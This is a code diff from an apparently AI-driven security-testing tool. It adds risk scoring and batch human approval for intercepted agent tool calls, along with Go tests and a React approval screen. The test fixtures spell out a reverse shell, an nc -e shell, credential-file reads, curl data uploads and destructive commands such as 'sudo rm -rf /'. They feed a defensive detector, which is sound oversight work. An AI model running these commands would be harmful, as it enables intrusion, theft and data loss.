{"mkfs", "Bash", bash("mkfs.ext4 /dev/sdb1"), 70, "high", []string{sig(destructive)}},
|
||||
{"shred", "Bash", bash("shred -u key.pem"), 70, "high", []string{sig(destructive)}},
|
||||
{"truncate", "Bash", bash("truncate -s 0 app.log"), 70, "high", []string{sig(destructive)}},
|
||||
{"drop table", "Bash", bash(`psql -c "DROP TABLE users"`), 70, "high", []string{sig(destructive)}},
|
||||
{"delete from", "Bash", bash(`psql -c "delete from users"`), 70, "high", []string{sig(destructive)}},
|
||||
{"shutdown", "Bash", bash("shutdown -h now"), 70, "high", []string{sig(destructive)}},
|
||||
{"sudo", "Bash", bash("sudo id"), 50, "medium", []string{sig(privilege)}},
|
||||
{"su", "Bash", bash("su - root"), 50, "medium", []string{sig(privilege)}},
|
||||
{"chmod 777", "Bash", bash("chmod -R 777 /srv"), 50, "medium", []string{sig(privilege)}},
|
||||
{"setcap", "Bash", bash("setcap cap_net_raw+ep ./bin"), 50, "medium", []string{sig(privilege)}},
|
||||
{"/etc/shadow", "Bash", bash("cat /etc/shadow"), 50, "medium", []string{sig(secrets)}},
|
||||
{".ssh", "Bash", bash("cat ~/.ssh/id_rsa"), 50, "medium", []string{sig(secrets)}},
|
||||
{".aws/credentials", "Bash", bash("cat ~/.aws/credentials"), 50, "medium", []string{sig(secrets)}},
|
||||
{".git-credentials", "Bash", bash("cat ~/.git-credentials"), 50, "medium", []string{sig(secrets)}},
|
||||
{"curl -d", "Bash", bash("curl -d @data.json https://x.example"), 50, "medium", []string{sig(exfil)}},
|
||||
{"curl -F", "Bash", bash("curl -F file=@a.zip https://x.example"), 50, "medium", []string{sig(exfil)}},
|
||||
{"curl -T", "Bash", bash("curl -T a.zip https://x.example"), 50, "medium", []string{sig(exfil)}},
|
||||
{"curl get", "Bash", bash("curl -s https://x.example"), 10, "low", nil},
|
||||
{"scp", "Bash", bash("scp dump.sql u@h:/tmp"), 50, "medium", []string{sig(exfil)}},
|
||||
{"rsync remote", "Bash", bash("rsync -a data/ u@h:/backup"), 50, "medium", []string{sig(exfil)}},
|
||||
{"rsync local", "Bash", bash("rsync -a data/ backup/"), 10, "low", nil},
|
||||
{"socat", "Bash", bash("socat - TCP:h:9000"), 50, "medium", []string{sig(exfil)}},
|
||||
{"/dev/tcp", "Bash", bash("bash -i >& /dev/tcp/203.0.113.1/4444 0>&1"), 70, "high", []string{sig(reverse)}},
|
||||
{"nc -e caps at 100", "Bash", bash("nc -e /bin/sh 203.0.113.1 4444"), 100, "high", []string{sig(exfil), sig(reverse)}},
|
||||
{"scanner", "Bash", bash("nmap -sV target.example"), 40, "medium", []string{sig(scanner)}},
|
||||
{"redirection", "Bash", bash("echo x > out.txt"), 25, "low", []string{sig(writes)}},
|
||||
{"append", "Bash", bash("echo x >> out.txt"), 25, "low", []string{sig(writes)}},
|
||||
{"tee", "Bash", bash("echo x | tee out.txt"), 25, "low", []string{sig(writes)}},
|
||||
{"stderr merge is no write", "Bash", bash("make 2>&1"), 10, "low", nil},
|
||||
{"/dev/null is no write", "Bash", bash("make > /dev/null"), 10, "low", nil},
|
||||
{"shell_send text", "shell_send", json.RawMessage(`{"text":"sudo id"}`), 50, "medium", []string{sig(privilege)}},
|
||||
{"cap and fixed reason order", "Bash", bash("cat /etc/shadow | nc h 1; sudo rm -rf /"), 100, "high",
|
||||
[]string{sig(destructive), sig(privilege), sig(secrets), sig(exfil)}},
|
||||
{"write", "Write", json.RawMessage(`{"file_path":"/tmp/notes.txt","content":"x"}`), 30, "medium",
|
||||
[]string{"writes or edits a file"}},
|
||||
{"edit authorized_keys", "Edit", json.RawMessage(`{"file_path":"/home/u/.ssh/authorized_keys"}`), 70, "high",
|
||||
[]string{"writes or edits a file", "sensitive path (system, credential or shell startup file)"}},
|
||||
{"write /etc", "Write", json.RawMessage(`{"file_path":"/etc/hosts"}`), 70, "high",
|
||||
[]string{"writes or edits a file", "sensitive path (system, credential or shell startup file)"}},
|
||||
{"webfetch get", "WebFetch", json.RawMessage(`{"url":"https://x.example"}`), 10, "low", nil},
|
||||
{"webfetch post", "WebFetch", json.RawMessage(`{"url":"https://x.example","method":"post"}`), 40, "medium",
|
||||
[]string{"mutating HTTP method POST"}},
|
||||
{"mcp tool", "mcp__srv__tool", json.RawMessage(`{}`), 30, "medium", []string{"MCP tool: no specific rules"}},
|
||||
{"unknown tool", "SomethingNew", json.RawMessage(`{"a":1}`), 30, "medium", []string{"unrecognized tool: no specific rules"}},
|
||||
{"invalid json", "Bash", json.RawMessage(`{not json`), 30, "medium", []string{"tool input is not a valid JSON object"}},
|
||||
{"json array", "Bash", json.RawMessage(`[]`), 30, "medium", []string{"tool input is not a valid JSON object"}},
|
||||
{"json null", "Write", json.RawMessage(`null`), 30, "medium", []string{"tool input is not a valid JSON object"}},
|
||||
{"empty input", "Bash", nil, 30, "medium", []string{"tool input is not a valid JSON object"}},
|
||||
}
|
||||
for _, c := range cases {
|
||||
got := ScoreRisk(c.tool, c.input)
|
||||
want := c.reasons
|
||||
if want == nil {
|
||||
want = []string{}
|
||||
}
|
||||
if got.Score != c.score || got.Level != c.level || !slices.Equal(got.Reasons, want) {
|
||||
t.Errorf("%s: got %+v, want score=%d level=%s reasons=%q", c.name, got, c.score, c.level, want)
|
||||
}
|
||||
if got.Reasons == nil {
|
||||
t.Errorf("%s: reasons must be an empty list, not null", c.name)
|
||||
}
|
||||
// Repeated scoring is stable.
|
||||
if again := ScoreRisk(c.tool, c.input); !slices.Equal(again.Reasons, got.Reasons) || again.Score != got.Score {
|
||||
t.Errorf("%s: unstable result %+v then %+v", c.name, got, again)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRiskLevelThresholds(t *testing.T) {
|
||||
for score, want := range map[int]string{0: "low", 29: "low", 30: "medium", 69: "medium", 70: "high", 100: "high"} {
|
||||
if got := riskLevel(score); got != want {
|
||||
t.Errorf("riskLevel(%d) = %s, want %s", score, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
Before Width: | Height: | Size: 195 KiB After Width: | Height: | Size: 182 KiB |
|
Before Width: | Height: | Size: 141 KiB After Width: | Height: | Size: 149 KiB |
|
Before Width: | Height: | Size: 195 KiB After Width: | Height: | Size: 143 KiB |
|
Before Width: | Height: | Size: 146 KiB After Width: | Height: | Size: 342 KiB |
|
Before Width: | Height: | Size: 348 KiB |
|
Before Width: | Height: | Size: 341 KiB After Width: | Height: | Size: 380 KiB |
|
Before Width: | Height: | Size: 436 KiB After Width: | Height: | Size: 295 KiB |
|
Before Width: | Height: | Size: 162 KiB After Width: | Height: | Size: 278 KiB |
|
Before Width: | Height: | Size: 330 KiB After Width: | Height: | Size: 130 KiB |
|
Before Width: | Height: | Size: 202 KiB After Width: | Height: | Size: 163 KiB |
|
Before Width: | Height: | Size: 276 KiB After Width: | Height: | Size: 352 KiB |
|
Before Width: | Height: | Size: 231 KiB After Width: | Height: | Size: 181 KiB |
|
Before Width: | Height: | Size: 356 KiB After Width: | Height: | Size: 385 KiB |
@@ -231,6 +231,17 @@ func (s *Server) interceptToggleRule(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// --- pending (ask) ---
|
||||
|
||||
// interceptPendingDTO is a pending row plus its risk score. The embedded row
|
||||
// keeps every existing JSON field; the score is computed on read, never stored.
|
||||
type interceptPendingDTO struct {
|
||||
db.InterceptPending
|
||||
Risk intercept.RiskReport `json:"risk"`
|
||||
}
|
||||
|
||||
func pendingDTO(p db.InterceptPending) interceptPendingDTO {
|
||||
return interceptPendingDTO{InterceptPending: p, Risk: intercept.ScoreRisk(p.ToolName, p.ToolInput)}
|
||||
}
|
||||
|
||||
func (s *Server) interceptListPending(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
@@ -241,10 +252,11 @@ func (s *Server) interceptListPending(w http.ResponseWriter, r *http.Request) {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if pending == nil {
|
||||
pending = []db.InterceptPending{}
|
||||
out := make([]interceptPendingDTO, 0, len(pending))
|
||||
for _, p := range pending {
|
||||
out = append(out, pendingDTO(p))
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"pending": pending})
|
||||
writeJSON(w, 200, map[string]any{"pending": out})
|
||||
}
|
||||
|
||||
func (s *Server) interceptGetOne(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -266,7 +278,7 @@ func (s *Server) interceptGetOne(w http.ResponseWriter, r *http.Request) {
|
||||
writeErr(w, 404, "not found")
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, p)
|
||||
writeJSON(w, 200, pendingDTO(*p))
|
||||
}
|
||||
|
||||
func (s *Server) interceptListTaskItems(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -414,6 +426,64 @@ func (s *Server) interceptDecide(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, 200, map[string]any{"ok": true})
|
||||
}
|
||||
|
||||
// maxBatchDecide bounds one batch decision request.
|
||||
const maxBatchDecide = 100
|
||||
|
||||
type batchDecideResult struct {
|
||||
ID int64 `json:"id"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// interceptBatchDecide applies one human decision to several pending requests.
|
||||
// Each id goes through the same Interceptor.Decide as the single decide route,
|
||||
// with the same approver and address: target pins, the decided_by=human audit
|
||||
// and the waiter wake-up are identical. One id failing (already decided, empty
|
||||
// target pin) is reported for that id and does not stop the others.
|
||||
func (s *Server) interceptBatchDecide(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
IDs []int64 `json:"ids"`
|
||||
Decision string `json:"decision"` // "allowed" | "denied"
|
||||
}
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, err.Error())
|
||||
return
|
||||
}
|
||||
if req.Decision != "allowed" && req.Decision != "denied" {
|
||||
writeErr(w, 400, "decision must be allowed or denied")
|
||||
return
|
||||
}
|
||||
if len(req.IDs) == 0 || len(req.IDs) > maxBatchDecide {
|
||||
writeErr(w, 400, fmt.Sprintf("ids must list between 1 and %d pending ids", maxBatchDecide))
|
||||
return
|
||||
}
|
||||
seen := make(map[int64]bool, len(req.IDs))
|
||||
ids := make([]int64, 0, len(req.IDs))
|
||||
for _, id := range req.IDs {
|
||||
if id <= 0 {
|
||||
writeErr(w, 400, fmt.Sprintf("bad pending id %d", id))
|
||||
return
|
||||
}
|
||||
if !seen[id] {
|
||||
seen[id] = true
|
||||
ids = append(ids, id)
|
||||
}
|
||||
}
|
||||
approver, addr := s.approver(r), clientIP(r, s.trustedProxies)
|
||||
results := make([]batchDecideResult, 0, len(ids))
|
||||
decided := 0
|
||||
for _, id := range ids {
|
||||
res := batchDecideResult{ID: id, OK: true}
|
||||
if err := s.m.interceptor.Decide(id, req.Decision == "allowed", approver, addr); err != nil {
|
||||
res.OK, res.Error = false, err.Error()
|
||||
} else {
|
||||
decided++
|
||||
}
|
||||
results = append(results, res)
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"decided": decided, "failed": len(ids) - decided, "results": results})
|
||||
}
|
||||
|
||||
// alwaysAllowPriority places "always allow" rules below every default and
|
||||
// manual rule, so any deny or ask rule that matches the same call wins.
|
||||
const alwaysAllowPriority = -1000
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/intercept"
|
||||
)
|
||||
|
||||
func TestInterceptBatchDecideHTTP(t *testing.T) {
|
||||
dsn, _, err := db.DSN()
|
||||
if err != nil {
|
||||
t.Skip("no test database configured")
|
||||
}
|
||||
d, err := db.Open(dsn)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = d.Close() })
|
||||
m := &Manager{pg: d, interceptor: intercept.New(d)}
|
||||
s := &Server{m: m, jwtKey: []byte("approval-batch-decide-test-key")}
|
||||
h := s.Handler()
|
||||
token, err := signJWT(s.jwtKey)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
scope := "approval-http-batch-decide"
|
||||
// A target request needs a numeric task scope; no foreign key ties it to tasks.
|
||||
targetTask := 900000000 + time.Now().UnixNano()%1000000
|
||||
t.Cleanup(func() {
|
||||
_, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1 OR task_id=$2`, scope, strconv.FormatInt(targetTask, 10))
|
||||
})
|
||||
do := func(method, path, body string) *httptest.ResponseRecorder {
|
||||
req := httptest.NewRequest(method, path, strings.NewReader(body))
|
||||
req.Header.Set("Authorization", "Bearer "+token)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
return rec
|
||||
}
|
||||
pending := func(cmd string) int64 {
|
||||
t.Helper()
|
||||
input, _ := json.Marshal(map[string]string{"command": cmd})
|
||||
id, err := d.CreateInterceptPending(0, 0, scope, "test", "Bash", input, "fixture")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return id
|
||||
}
|
||||
id1, id2, id3 := pending("ls"), pending("nmap -sV target.example"), pending("sudo rm -rf / ; cat /etc/shadow")
|
||||
|
||||
// The pending JSON keeps every historical field and adds risk.
|
||||
var historical map[string]any
|
||||
raw, _ := json.Marshal(db.InterceptPending{})
|
||||
_ = json.Unmarshal(raw, &historical)
|
||||
checkFields := func(where string, item map[string]any) {
|
||||
t.Helper()
|
||||
for key := range historical {
|
||||
if _, ok := item[key]; !ok {
|
||||
t.Errorf("%s: field %q missing from %v", where, key, item)
|
||||
}
|
||||
}
|
||||
risk, ok := item["risk"].(map[string]any)
|
||||
if !ok || risk["level"] == nil || risk["score"] == nil || risk["reasons"] == nil {
|
||||
t.Errorf("%s: risk = %v", where, item["risk"])
|
||||
}
|
||||
}
|
||||
var list struct {
|
||||
Pending []map[string]any `json:"pending"`
|
||||
}
|
||||
if r := do(http.MethodGet, "/api/intercept/pending", ""); r.Code != 200 || json.Unmarshal(r.Body.Bytes(), &list) != nil {
|
||||
t.Fatalf("list pending: %d %s", r.Code, r.Body.String())
|
||||
}
|
||||
levels := map[int64]string{}
|
||||
for _, item := range list.Pending {
|
||||
id := int64(item["id"].(float64))
|
||||
if id == id1 || id == id2 || id == id3 {
|
||||
checkFields("list", item)
|
||||
levels[id] = item["risk"].(map[string]any)["level"].(string)
|
||||
}
|
||||
}
|
||||
if levels[id1] != "low" || levels[id2] != "medium" || levels[id3] != "high" {
|
||||
t.Fatalf("risk levels = %v, want low/medium/high", levels)
|
||||
}
|
||||
var one map[string]any
|
||||
if r := do(http.MethodGet, fmt.Sprintf("/api/intercept/pending/%d", id3), ""); r.Code != 200 || json.Unmarshal(r.Body.Bytes(), &one) != nil {
|
||||
t.Fatalf("get pending: %d %s", r.Code, r.Body.String())
|
||||
}
|
||||
checkFields("get", one)
|
||||
|
||||
type result struct {
|
||||
ID int64 `json:"id"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error"`
|
||||
}
|
||||
type batchResponse struct {
|
||||
Decided int `json:"decided"`
|
||||
Failed int `json:"failed"`
|
||||
Results []result `json:"results"`
|
||||
}
|
||||
batch := func(body string) batchResponse {
|
||||
t.Helper()
|
||||
r := do(http.MethodPost, "/api/intercept/pending/batch-decide", body)
|
||||
var out batchResponse
|
||||
if r.Code != 200 || json.Unmarshal(r.Body.Bytes(), &out) != nil {
|
||||
t.Fatalf("batch %s: %d %s", body, r.Code, r.Body.String())
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Duplicates are decided once.
|
||||
out := batch(fmt.Sprintf(`{"ids":[%d,%d,%d],"decision":"allowed"}`, id1, id2, id1))
|
||||
if out.Decided != 2 || out.Failed != 0 || len(out.Results) != 2 || out.Results[0] != (result{ID: id1, OK: true}) || out.Results[1] != (result{ID: id2, OK: true}) {
|
||||
t.Fatalf("allow batch = %+v", out)
|
||||
}
|
||||
// An already decided id fails alone; the rest of the batch is decided.
|
||||
out = batch(fmt.Sprintf(`{"ids":[%d,%d],"decision":"denied"}`, id1, id3))
|
||||
if out.Decided != 1 || out.Failed != 1 || len(out.Results) != 2 ||
|
||||
out.Results[0].ID != id1 || out.Results[0].OK || !strings.Contains(out.Results[0].Error, "already") ||
|
||||
out.Results[1] != (result{ID: id3, OK: true}) {
|
||||
t.Fatalf("deny batch = %+v", out)
|
||||
}
|
||||
for id, want := range map[int64]string{id1: "allowed", id2: "allowed", id3: "denied"} {
|
||||
p, err := d.GetInterceptPending(id)
|
||||
if err != nil || p == nil || p.Status != want || p.DecidedBy != "human" || p.DecidedAt == nil {
|
||||
t.Fatalf("row %d = %+v err=%v, want %s by human with decided_at", id, p, err, want)
|
||||
}
|
||||
}
|
||||
|
||||
// A target request without an address cannot be approved: it fails and
|
||||
// stays pending, the other id in the batch is still approved.
|
||||
empty, created, err := d.FindOrCreateTargetRequest(db.TargetRequest{
|
||||
Scope: db.TargetScopeRef{TaskID: targetTask}, Host: "empty.example.com", Port: 443,
|
||||
ToolName: "WebFetch", ToolInput: []byte(`{"url":"https://empty.example.com/"}`), Reason: "test",
|
||||
Audit: &db.InterceptAudit{Targets: []db.InterceptTarget{{Host: "empty.example.com", Port: 443, Outcome: "requested"}}},
|
||||
})
|
||||
if err != nil || !created {
|
||||
t.Fatalf("open target request: id=%d created=%v err=%v", empty, created, err)
|
||||
}
|
||||
id4 := pending("echo ok")
|
||||
out = batch(fmt.Sprintf(`{"ids":[%d,%d],"decision":"allowed"}`, empty, id4))
|
||||
if out.Decided != 1 || out.Failed != 1 || out.Results[0].OK || out.Results[0].Error != db.ErrTargetPinEmpty.Error() ||
|
||||
out.Results[1] != (result{ID: id4, OK: true}) {
|
||||
t.Fatalf("empty pin batch = %+v", out)
|
||||
}
|
||||
if p, err := d.GetInterceptPending(empty); err != nil || p == nil || p.Status != "pending" {
|
||||
t.Fatalf("refused target request = %+v err=%v, want pending", p, err)
|
||||
}
|
||||
|
||||
ids101 := make([]string, 101)
|
||||
for i := range ids101 {
|
||||
ids101[i] = strconv.Itoa(i + 1)
|
||||
}
|
||||
for _, body := range []string{
|
||||
`{"ids":[],"decision":"allowed"}`,
|
||||
`{"decision":"allowed"}`,
|
||||
`{"ids":[` + strings.Join(ids101, ",") + `],"decision":"allowed"}`,
|
||||
`{"ids":[0],"decision":"allowed"}`,
|
||||
`{"ids":[-3],"decision":"denied"}`,
|
||||
`{"ids":["7"],"decision":"allowed"}`,
|
||||
`{"ids":[1.5],"decision":"allowed"}`,
|
||||
fmt.Sprintf(`{"ids":[%d],"decision":"maybe"}`, id4),
|
||||
`not json`,
|
||||
} {
|
||||
if r := do(http.MethodPost, "/api/intercept/pending/batch-decide", body); r.Code != 400 {
|
||||
t.Errorf("batch %s: status %d, want 400", body, r.Code)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -958,6 +958,7 @@ func (s *Server) Handler() http.Handler {
|
||||
mux.HandleFunc("GET /api/intercept/pending", s.interceptListPending)
|
||||
mux.HandleFunc("GET /api/intercept/pending/{id}", s.interceptGetOne)
|
||||
mux.HandleFunc("POST /api/intercept/pending/{id}/decide", s.interceptDecide)
|
||||
mux.HandleFunc("POST /api/intercept/pending/batch-decide", s.interceptBatchDecide)
|
||||
mux.HandleFunc("POST /api/intercept/pending/{id}/always-allow", s.interceptAlwaysAllow) // creates an argv allow rule; the request stays pending
|
||||
mux.HandleFunc("GET /api/intercept/history", s.interceptHistory)
|
||||
mux.HandleFunc("GET /api/intercept/history/{id}", s.interceptDetail)
|
||||
|
||||
@@ -10,12 +10,12 @@ import { cn } from "@/lib/utils";
|
||||
|
||||
// Mock demo: no backend SSE, so stuff in a few sample log lines.
|
||||
const MOCK_LOGS: LogLine[] = [
|
||||
{ seq: 1, ts: "2026-07-26T03:55:00Z", level: "info", tag: "engine", text: "ARTEX v0.1.0 backend listening on :8787 (workers=3)" },
|
||||
{ seq: 2, ts: "2026-07-26T03:55:01Z", level: "info", tag: "config", text: "LLM configured from DB: anthropic / claude-opus-4-8" },
|
||||
{ seq: 3, ts: "2026-07-26T03:56:10Z", level: "info", tag: "planner", text: "task t-acme-web: planning round 3, generated intent i-4" },
|
||||
{ seq: 4, ts: "2026-07-26T03:57:00Z", level: "warn", tag: "guard", text: "block bash: target out of bounds, out.evil.example is not in scope" },
|
||||
{ seq: 5, ts: "2026-07-26T03:57:30Z", level: "info", tag: "work#1", text: "report_finding: Default Credentials (high) saved to database" },
|
||||
{ seq: 6, ts: "2026-07-26T03:58:20Z", level: "error", tag: "work#3", text: "intercept: mysqldump matched a destructive rule, awaiting manual approval" },
|
||||
{ seq: 1, ts: "2026-11-14T03:55:00Z", level: "info", tag: "engine", text: "ARTEX v0.6.0 backend listening on :8787 (workers=3)" },
|
||||
{ seq: 2, ts: "2026-11-14T03:55:01Z", level: "info", tag: "config", text: "LLM configured from DB: anthropic / claude-opus-4-8" },
|
||||
{ seq: 3, ts: "2026-11-14T03:56:10Z", level: "info", tag: "planner", text: "task t-acme-web: planning round 3, generated intent i-4" },
|
||||
{ seq: 4, ts: "2026-11-14T03:57:00Z", level: "warn", tag: "guard", text: "block bash: target out of bounds, out.evil.example is not in scope" },
|
||||
{ seq: 5, ts: "2026-11-14T03:57:30Z", level: "info", tag: "work#1", text: "report_finding: Default Credentials (high) saved to database" },
|
||||
{ seq: 6, ts: "2026-11-14T03:58:20Z", level: "error", tag: "work#3", text: "intercept: mysqldump matched a destructive rule, awaiting manual approval" },
|
||||
];
|
||||
|
||||
const levelTone: Record<LogLine["level"], string> = {
|
||||
|
||||
@@ -17,8 +17,19 @@ import { toast } from "sonner";
|
||||
|
||||
import { TablePagination } from "@/components/table-pagination";
|
||||
import { Alert, AlertDescription } from "@/components/ui/alert";
|
||||
import {
|
||||
AlertDialog,
|
||||
AlertDialogAction,
|
||||
AlertDialogCancel,
|
||||
AlertDialogContent,
|
||||
AlertDialogDescription,
|
||||
AlertDialogFooter,
|
||||
AlertDialogHeader,
|
||||
AlertDialogTitle,
|
||||
} from "@/components/ui/alert-dialog";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import { Collapsible, CollapsibleContent, CollapsibleTrigger } from "@/components/ui/collapsible";
|
||||
import { Empty, EmptyDescription, EmptyHeader, EmptyMedia, EmptyTitle } from "@/components/ui/empty";
|
||||
import { Field, FieldGroup, FieldLabel } from "@/components/ui/field";
|
||||
@@ -33,6 +44,7 @@ import type {
|
||||
InterceptDetail,
|
||||
InterceptPending,
|
||||
InterceptReviewInput,
|
||||
InterceptRisk,
|
||||
} from "@/lib/types";
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
@@ -125,6 +137,21 @@ function DecidedByBadge({ row }: { row: InterceptApprovalRow }) {
|
||||
return <Badge variant="outline">{decidedByLabels[row.decided_by] ?? row.decided_by}</Badge>;
|
||||
}
|
||||
|
||||
const riskLabels: Record<InterceptRisk["level"], string> = { low: "Low", medium: "Medium", high: "High" };
|
||||
|
||||
// RiskBadge shows the server's deterministic risk level of a pending request.
|
||||
function RiskBadge({ risk }: { risk?: InterceptRisk }) {
|
||||
if (!risk) return null;
|
||||
let variant: "destructive" | "secondary" | "outline" = "outline";
|
||||
if (risk.level === "high") variant = "destructive";
|
||||
if (risk.level === "medium") variant = "secondary";
|
||||
return (
|
||||
<Badge variant={variant} title={`Risk score ${risk.score}/100`}>
|
||||
{riskLabels[risk.level] ?? risk.level}
|
||||
</Badge>
|
||||
);
|
||||
}
|
||||
|
||||
function MatchCell({ row, showReason = true }: { row: InterceptApprovalRow; showReason?: boolean }) {
|
||||
const reason = row.reason?.replace(/^\[model\]\s*/, "");
|
||||
return (
|
||||
@@ -436,6 +463,24 @@ export function ApprovalDetail({
|
||||
<dd>
|
||||
<DecidedByBadge row={current} />
|
||||
</dd>
|
||||
{row.risk ? (
|
||||
<>
|
||||
<dt className="text-muted-foreground">Risk</dt>
|
||||
<dd className="flex flex-col gap-1">
|
||||
<span className="flex items-center gap-2">
|
||||
<RiskBadge risk={row.risk} />
|
||||
<span className="text-muted-foreground">{row.risk.score}/100</span>
|
||||
</span>
|
||||
{row.risk.reasons.length ? (
|
||||
<ul className="list-disc pl-4">
|
||||
{row.risk.reasons.map((reason) => (
|
||||
<li key={reason}>{reason}</li>
|
||||
))}
|
||||
</ul>
|
||||
) : null}
|
||||
</dd>
|
||||
</>
|
||||
) : null}
|
||||
{audit?.rule_name ? (
|
||||
<>
|
||||
<dt className="text-muted-foreground">Rule snapshot</dt>
|
||||
@@ -595,21 +640,32 @@ function serverColumnCount() {
|
||||
return 10;
|
||||
}
|
||||
|
||||
type Selection = { selected: Set<number>; toggle: (id: number) => void; toggleAll: () => void };
|
||||
|
||||
// Server limit on ids per batch-decide call (maxBatchDecide in server/intercept.go).
|
||||
const batchDecideMax = 100;
|
||||
|
||||
function ApprovalTable({
|
||||
rows,
|
||||
busy,
|
||||
decide,
|
||||
revision,
|
||||
label,
|
||||
selection,
|
||||
}: {
|
||||
rows: InterceptApprovalRow[];
|
||||
busy: boolean;
|
||||
decide: Decide;
|
||||
revision: number;
|
||||
label: string;
|
||||
selection?: Selection;
|
||||
}) {
|
||||
const [expanded, setExpanded] = React.useState<Set<number>>(() => new Set());
|
||||
const columns = React.useSyncExternalStore(subscribeColumns, visibleColumnCount, serverColumnCount);
|
||||
const columns =
|
||||
React.useSyncExternalStore(subscribeColumns, visibleColumnCount, serverColumnCount) + (selection ? 1 : 0);
|
||||
const selectedCount = selection ? rows.filter((row) => selection.selected.has(row.id)).length : 0;
|
||||
let allChecked: boolean | "indeterminate" = selectedCount > 0 ? "indeterminate" : false;
|
||||
if (selectedCount > 0 && selectedCount === rows.length) allChecked = true;
|
||||
const prefix = React.useId();
|
||||
function toggle(id: number) {
|
||||
setExpanded((prev) => {
|
||||
@@ -623,6 +679,16 @@ function ApprovalTable({
|
||||
<Table className="table-fixed" aria-label={label}>
|
||||
<TableHeader>
|
||||
<TableRow>
|
||||
{selection ? (
|
||||
<TableHead className="w-10">
|
||||
<Checkbox
|
||||
aria-label="Select all pending approvals on this page"
|
||||
checked={allChecked}
|
||||
disabled={busy || !rows.length}
|
||||
onCheckedChange={() => selection.toggleAll()}
|
||||
/>
|
||||
</TableHead>
|
||||
) : null}
|
||||
<TableHead className="w-10">
|
||||
<span className="sr-only">Expand details</span>
|
||||
</TableHead>
|
||||
@@ -648,6 +714,16 @@ function ApprovalTable({
|
||||
className="cursor-pointer"
|
||||
onClick={() => toggle(row.id)}
|
||||
>
|
||||
{selection ? (
|
||||
<TableCell onClick={(e) => e.stopPropagation()}>
|
||||
<Checkbox
|
||||
aria-label={`Select approval #${row.id}`}
|
||||
checked={selection.selected.has(row.id)}
|
||||
disabled={busy || row.status !== "pending"}
|
||||
onCheckedChange={() => selection.toggle(row.id)}
|
||||
/>
|
||||
</TableCell>
|
||||
) : null}
|
||||
<TableCell>
|
||||
<Button
|
||||
variant="ghost"
|
||||
@@ -665,7 +741,10 @@ function ApprovalTable({
|
||||
</TableCell>
|
||||
<TableCell className="hidden text-muted-foreground sm:table-cell">{row.id}</TableCell>
|
||||
<TableCell>
|
||||
<code className="block truncate text-xs">{row.tool_name}</code>
|
||||
<div className="flex min-w-0 flex-col items-start gap-1">
|
||||
<code className="block max-w-full truncate text-xs">{row.tool_name}</code>
|
||||
<RiskBadge risk={row.risk} />
|
||||
</div>
|
||||
</TableCell>
|
||||
<TableCell className="hidden md:table-cell">
|
||||
<div className="flex flex-col gap-1">
|
||||
@@ -726,6 +805,9 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
|
||||
const [pendingError, setPendingError] = React.useState("");
|
||||
const [deciding, setDeciding] = React.useState(false);
|
||||
const [revision, setRevision] = React.useState(0);
|
||||
const [selected, setSelected] = React.useState<Set<number>>(() => new Set());
|
||||
const [batchDecision, setBatchDecision] = React.useState<"allowed" | "denied" | null>(null);
|
||||
const [batchErrors, setBatchErrors] = React.useState<{ id: number; error: string }[]>([]);
|
||||
const request = React.useRef(0);
|
||||
const decisionLock = React.useRef(false);
|
||||
const filterID = React.useId();
|
||||
@@ -843,6 +925,62 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
|
||||
...historyById.get(row.id),
|
||||
...row,
|
||||
}));
|
||||
// Only rows still in the pending queue count as selected.
|
||||
const selectedRows = pending.filter((row) => selected.has(row.id));
|
||||
const selectedHigh = selectedRows.filter((row) => row.risk?.level === "high").length;
|
||||
const selection: Selection = {
|
||||
selected,
|
||||
toggle: (id) =>
|
||||
setSelected((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (next.has(id)) next.delete(id);
|
||||
else next.add(id);
|
||||
return next;
|
||||
}),
|
||||
toggleAll: () =>
|
||||
setSelected(selectedRows.length === pending.length ? new Set() : new Set(pending.map((row) => row.id))),
|
||||
};
|
||||
|
||||
// Each id is decided by the server exactly like a single decision. The server
|
||||
// takes at most 100 ids per call (maxBatchDecide in server/intercept.go) and
|
||||
// the pending queue is not paginated, so the selection goes out in sequential
|
||||
// chunks of at most batchDecideMax ids. If a chunk cannot be sent (network
|
||||
// error, 400), sending stops: its ids and the later ones stay selected with
|
||||
// the error, and chunks already decided stay decided. A failed id stays
|
||||
// pending and selected, with its error listed.
|
||||
const batchDecide = async (decision: "allowed" | "denied") => {
|
||||
const ids = selectedRows.map((row) => row.id);
|
||||
if (!ids.length || decisionLock.current) return;
